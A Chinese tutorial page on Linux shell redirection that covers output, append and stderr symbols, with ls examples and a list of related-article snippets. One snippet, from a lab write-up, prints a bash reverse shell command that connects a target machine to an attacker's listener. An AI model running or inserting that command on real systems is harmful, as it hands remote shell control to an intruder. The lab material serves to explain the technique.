浅析Linux中重定向问题
简介
在计算领域,重定向是大多数命令行解释器所具有的功能,包括各种可以将标准流重定向用户规定地点的Unix shells。类Unix操作系统的程序可以通过dup2系统调用完成重定向,或者通过缺少一些灵活性但是更高一级层次的freopen(3)和popen来完成。
1重定向
1.1 重定向符号
> 输出重定向到一个文件或设备 覆盖原来的文件
>! 输出重定向到一个文件或设备 强制覆盖原来的文件
>> 输出重定向到一个文件或设备 追加原来的文件
< 输入重定向到一个程序
1.2标准错误重定向符号
2> 将一个标准错误输出重定向到一个文件或设备 覆盖原来的文件 b-shell
2>> 将一个标准错误输出重定向到一个文件或设备 追加到原来的文件
2>&1 将一个标准错误输出重定向到标准输出 注释:1 可能就是代表 标准输出
>& 将一个标准错误输出重定向到一个文件或设备 覆盖原来的文件 c-shell
|& 将一个标准错误 管道 输送 到另一个命令作为输入
1.3命令重导向示例
在 bash 命令执行的过程中,主要有三种输出入的状况,分别是:
1. 标准输入;代码为 0 ;或称为 stdin ;使用的方式为 <
2. 标准输出:代码为 1 ;或称为 stdout;使用的方式为 1>
3. 错误输出:代码为 2 ;或称为 stderr;使用的方式为 2>
[test @test test]# ls -al > list.txt
将显示的结果输出到 list.txt 文件中,若该文件以存在则予以取代!
[test @test test]# ls -al >> list.txt
将显示的结果累加到 list.txt 文件中,该文件为累加的,旧数据保留!
[test @test test]# ls -al 1> list.txt 2> list.err
将显示的数据,正确的输出到 list.txt 错误的数据输出到 list.err
[test @test test]# ls -al 1> list.txt 2> &1
将显示的数据,不论正确或错误均输出到 list.txt 当中!错误与正确文件输出到同一个文件中,则必须以上面的方法来写!不能写成其它格式!
[test @test test]# ls -al 1> list.txt 2> /dev/null
将显示的数据,正确的输出到 list.txt 错误的数据则予以丢弃! /dev/null ,可以说成是黑洞装置。为空,即不保存。
1.4为何要使用命令输出重导向
• 当屏幕输出的信息很重要,而且我们需要将他存下来的时候;
• 背景执行中的程序,不希望他干扰屏幕正常的输出结果时;
• 一些系统的例行命令(例如写在 /etc/crontab 中的文件)的执行结果,希望他可以存下来时;
• 一些执行命令,我们已经知道他可能的错误讯息,所以想以『 2> /dev/null 』将他丢掉时;
• 错误讯息与正确讯息需要分别输出时。
总结
以上所述是小编给大家介绍的Linux中重定向问题,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对我们网站的支持!
相关推荐
-
linux shell数据重定向(输入重定向与输出重定向)详细分析
在了解重定向之前,我们先来看看linux 的文件描述符. linux文件描述符:可以理解为linux跟踪打开文件,而分配的一个数字,这个数字有点类似c语言操作文件时候的句柄,通过句柄就可以实现文件的读写操作. 用户可以自定义文件描述符范围是:3-num,这个最大数字,跟用户的:ulimit –n 定义数字有关系,不能超过最大值. linux启动后,会默认打开3个文件描述符,分别是:标准输入standard input 0,正确输出standard output 1,错误输出:error outp
-
linux shell 管道命令(pipe)使用及与shell重定向区别
看了前面一节:linux shell数据重定向(输入重定向与输出重定向)详细分析 估计还有一些朋友是头晕晕的,好复杂的重定向了.这次我们看下管道命令了.shell管道,可以说用法就简单多了. 管道命令操作符是:"|",它仅能处理经由前面一个指令传出的正确输出信息,也就是 standard output 的信息,对于 stdandard error 信息没有直接处理能力.然后,传递给下一个命令,作为标准的输入 standard input. 管道命令使用说明: 先看下下面图: comma
-
linux shell 脚本实现tcp/upd协议通讯(重定向应用)
前几天发了重定向以及管道相关使用方法,今天这里发些很有趣的例子.通过重定向实现基于tcp/udp协议的软件通讯. linux 设备里面有个比较特殊的文件: /dev/[tcp|upd]/host/port 只要读取或者写入这个文件,相当于系统会尝试连接:host 这台机器,对应port端口.如果主机以及端口存在,就建立一个socket 连接.将在,/proc/self/fd目录下面,有对应的文件出现. 一.测试下:/dev/tcp/host/post文件 [chengmo@centos5 sh
-
linux输入输出重定向使用详解
1. 输出重定向: 默认条件下,标准输出和错误输出都是终端,可以把标准输出和错误内容进行重定向: 复制代码 代码如下: [~]# echo "hello\!"hello\![~]# echo "hello!" -bash: !": event not found " 把标准输出重定向到文件 复制代码 代码如下: [~]# echo "hello" > test.sh[~]# cat test.shhello'>'输
-
linux URL的301重定向代码分析
所以凡是使用linux的主机,我都会定义个301重定向,以利于SEO.昨天照例把htaccess传到服务器上,没想到传上后网站无法访问,一删除就恢复正常.看了很多遍代码,也没发现什么问题. 干脆就重新学习下URL重写方法.规范化URL描述:在有些web服务器上,一个资源会拥有多个URL.在实际应用和发布中应该使用的是规范的URL,其他的则是简写或者只在内部使用.无论用户在请求中使用什么形式的URL,最终看见的都应该是规范的URL.解决方案:对所有不规范的URL执行一个外部HTTP重定向,以改变它
-
Linux base shell重定向详解
一.标准输入,标准输出与标准错误输出 在linux shell执行命令时,每个进程都和三个打开的文件相联系,并使用文件描述符来引用这些文件.由于文件描述符不容易记忆,shell同时也给出了相应的文件名: 文件 文件描述符 输入文件-标准输入 0(缺省是键盘,为0时是文件或者其他命令的输出) 输出文件-标准输出 1(缺省是屏幕,为1时是文件) 错误输出文件-标准错误 2(缺省是屏幕,为2时是文件)系统中实际上有12个文件描述符,我们可以任意使用文件描述符3到9. 标准输入:从键盘输入数据,即从键盘
-
浅析Linux中重定向问题
简介 在计算领域,重定向是大多数命令行解释器所具有的功能,包括各种可以将标准流重定向用户规定地点的Unix shells.类Unix操作系统的程序可以通过dup2系统调用完成重定向,或者通过缺少一些灵活性但是更高一级层次的freopen(3)和popen来完成. 1重定向 1.1 重定向符号 > 输出重定向到一个文件或设备 覆盖原来的文件 >! 输出重定向到一个文件或设备 强制覆盖原来的文件 >>
-
浅析Linux中使用nohup及screen运行后台任务的示例和区别
使用SSH终端(比如putty,xshell)连接Linux服务器上运行比较耗时任务,可能需要几个小时甚至几天才能完成,这时候终端被占据,我们还要做其他的任务呢,所以需要将这一类耗时任务放到后台来跑,只需要记录好日志就行了,有下面这些常用方法来实现这个需求. command & 在终端输入command &运行,这时候使用Ctrl + C中止命令将会失效,因为对&后台运行SIGINT1信号免疫,程序会继续运行. 但如果你直接关掉终端, 进程将跟着中止. 可见,使用&后台运行
-
浅析Linux中的零拷贝技术的使用
本文探讨Linux中主要的几种零拷贝技术以及零拷贝技术适用的场景.为了迅速建立起零拷贝的概念,我们拿一个常用的场景进行引入: 引文## 在写一个服务端程序时(Web Server或者文件服务器),文件下载是一个基本功能.这时候服务端的任务是:将服务端主机磁盘中的文件不做修改地从已连接的socket发出去,我们通常用下面的代码完成: while((n = read(diskfd, buf, BUF_SIZE)) > 0) write(sockfd, buf , n); 基本操作就是循环的从磁盘读入
-
浅析Linux中crontab任务调度
一.创建调度任务 指令 crontab -e 进入当前用户编辑界面 crontab -u 用户名 -e 进入指定用户编辑界面 进入crontab任务编辑界面 任务编写格式 #每分钟执行查看一次/ect目录,把目录内容写进/tml/a.txt下 */ 1 * * * * ll /etc >> /tmp/a.text #crontab对象 +指令 #多个任务同时执行 #crontab对象 指令1&指令2 crontab对象参数 第一个* 表示分钟 范围0-59 第二个* 表示小时 范围:
-
浅析Linux中vsftpd服务配置(匿名,用户,虚拟用户)
vsftpd概述 vsftpd 是"very secure FTP daemon"的缩写,安全性是它的一个最大的特点.vsftpd 是一个 UNIX 类操作系统上运行的服务器的名字,它可以运行在诸如 Linux.BSD.Solaris. HP-UNIX等系统上面,是一个完全免费的.开放源代码的ftp服务器软件,支持很多其他的 FTP 服务器所不支持的特征. 特点 非常高的安全性需求.带宽限制.良好的可伸缩性.可创建虚拟用户.支持IPv6.速率高 小巧轻快,安全易用. ftp.sftp.
-
Linux输入输出重定向详细使用说明
1.Linux标准输入输出 Linux标准输入.输出设备主要是键盘和显示器,详细介绍如下表所示. Linux标准输入输出 设备 设备文件名 文件描述符 类型 符号表示 键盘 /dev/stdin 0(缺省是键盘,为0时是文件或者其他命令的输出) 标准输入 < << 显示器 /dev/stdout 1(缺省是屏幕,为1时是文件) 标准输出 > >> 显示器 /dev/stderr 2(缺省是屏幕,为2时是文件) 标准错误输出 2> 2>> 注:其中一个&
-
Linux中crontab输出重定向不生效问题的解决方法
问题 在LINUX中,周期执行的任务一般由cron这个守护进程来处理[ps -ef|grep cron].cron读取一个或多个配置文件,这些配置文件中包含了命令行及其调用时间. cron的配置文件称为"crontab",是"cron table"的简写. 近期在crontab中添加了一个定时任务,该任务执行之后默认会有正常输出.为了确保在任务执行过程中的异常信息也可以捕获,方便问题定位,因此在crontab中我写了这么一条命令: 01 09 * * * cd /o
-
浅析Linux之bash反弹shell原理
环境 攻击机:kali ip:192.168.25.144 靶 机:centos ip:192.168.25.142 过程 kali 监听本地8888端口 靶机 centos 写入 反弹shell 的命令 bash -i >& /dev/tcp/192.168.25.144/8888 0>&1 攻击机 kali 成功反弹shell 原理 反弹shell往往是在攻击者无法直接连接受害者的情况下进行的操作,原因有很多,例如目标是局域网,或者开启
-
Linux 中常用的sed命令
sed是一种流编辑器,它是文本处理中非常中的工具,能够完美的配合正则表达式使用,功能不同凡响.处理时,把当前处理的行存储在临时缓冲区中,称为"模式空间"(pattern space),接着用sed命令处理缓冲区中的内容,处理完成后,把缓冲区的内容送往屏幕.接着处理下一行,这样不断重复,直到文件末尾.文件内容并没有 改变,除非你使用重定向存储输出.Sed主要用来自动编辑一个或多个文件:简化对文件的反复操作:编写转换程序等. sed的选项.命令.替换标记 命令格式 sed [options
-
Linux中的特殊符号与正则表达式
第1章 linux的特殊符号 1.1 通配符 * {} 1.1.1 含义 方便查找文件 通配符是用来找文件名字的. 1.1.2 * 通过find 命令找以 .sh 结尾的文件,使用*替代文件名字. find /oldboy -type f -name "*.sh" -mtime +7 -size +100k -size -10M 查找文件名中,包含有oldboy字节的文件. [root@znix 20170118]# find -type f -name "*oldboy*
随机推荐
- .Net Core使用Socket与树莓派进行通信详解
- Python发送form-data请求及拼接form-data内容的方法
- vbs脚本实现下载jre包并静默安装的代码实例
- 6步轻松实现两个listView联动效果
- java LinkedList类详解及实例代码
- IOS 多线程GCD详解
- 关于struts2中Action名字的大小写问题浅谈
- 11个并不被常用但对开发非常有帮助的Python库
- CI框架给视图添加动态数据
- JavaScript中解析JSON数据的三种方法
- Node.js实战 建立简单的Web服务器
- Mysql数据库的一些命令
- 简单实现jQuery弹窗效果
- 微信小程序 教程之WXSS
- PHP实现的防止跨站和xss攻击代码【来自阿里云】
- 列出所有Bash Shell内置命令的方法示例
- 如何利用vue+vue-router+elementUI实现简易通讯录
- 微信小程序的授权实现过程解析
- MySQL8新特性:自增主键的持久化详解
- python使用 cx_Oracle 模块进行查询操作示例